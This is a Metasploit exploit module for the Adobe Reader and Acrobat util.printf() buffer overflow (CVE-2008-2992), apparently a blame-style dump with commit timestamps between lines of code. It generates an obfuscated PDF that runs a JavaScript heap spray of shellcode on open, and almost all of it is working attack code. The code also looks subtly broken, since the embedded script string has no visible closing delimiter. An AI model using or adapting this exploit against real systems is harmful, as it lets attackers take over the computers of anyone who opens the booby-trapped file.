2010-04-30 08:40:19 +00:00
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##
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2013-10-15 18:50:46 +00:00
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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2010-04-30 08:40:19 +00:00
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##
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2008-12-03 16:19:25 +00:00
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require 'msf/core'
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2008-12-08 13:16:54 +00:00
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require 'zlib'
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2008-12-03 16:19:25 +00:00
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class Metasploit3 < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe util.printf() Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional
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< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
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entry, an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],
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'References' =>
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[
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[ 'CVE', '2008-2992' ],
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[ 'OSVDB', '49520' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],
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],
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'DisclosureDate' => 'Feb 8 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
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], self.class)
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end
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def exploit
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Make some nops
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nops = Rex::Text.to_unescape(make_nops(4))
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# Randomize variables
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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rand3 = rand_text_alpha(rand(100) + 1)
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rand4 = rand_text_alpha(rand(100) + 1)
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rand5 = rand_text_alpha(rand(100) + 1)
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rand6 = rand_text_alpha(rand(100) + 1)
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rand7 = rand_text_alpha(rand(100) + 1)
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rand8 = rand_text_alpha(rand(100) + 1)
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rand9 = rand_text_alpha(rand(100) + 1)
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rand10 = rand_text_alpha(rand(100) + 1)
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rand11 = rand_text_alpha(rand(100) + 1)
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script = %Q|
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var #{rand1} = unescape("#{shellcode}");
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var #{rand2} ="";
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for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
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#{rand4} = #{rand2} + #{rand1};
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#{rand5} = unescape("#{nops}");
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#{rand6} = 20;
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#{rand7} = #{rand6}+#{rand4}.length
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while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
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#{rand8} = #{rand5}.substring(0, #{rand7});
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#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
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while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
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#{rand10} = new Array();
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for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
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util.printf("%45000.45000f", 0);
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# Create the pdf
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pdf = make_pdf(script)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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def RandomNonASCIIString(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def ioDef(id)
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"%d 0 obj" % id
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end
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def ioRef(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def nObfu(str)
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result = ""
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str.scan(/./u) do |c|
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if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack("C*")[0]
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else
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result << c
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end
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end
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result
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end
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def ASCIIHexWhitespaceEncode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def make_pdf(js)
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xref = []
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eol = "\x0d\x0a"
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endobj = "endobj" << eol
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# Randomize PDF version?
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pdf = "%PDF-1.5" << eol
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pdf << "%" << RandomNonASCIIString(4) << eol
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xref << pdf.length
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pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
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xref << pdf.length
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pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
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xref << pdf.length
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pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
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xref << pdf.length
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pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
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xref << pdf.length
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pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
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xref << pdf.length
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compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
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pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << endobj
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xrefPosition = pdf.length
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pdf << "xref" << eol
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pdf << "0 %d" % (xref.length + 1) << eol
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pdf << "0000000000 65535 f" << eol
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xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
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end
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pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
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pdf << "startxref" << eol
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pdf << xrefPosition.to_s() << eol
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pdf << "%%EOF" << eol
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end
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2008-12-08 13:16:54 +00:00
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2008-12-03 16:19:25 +00:00
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end
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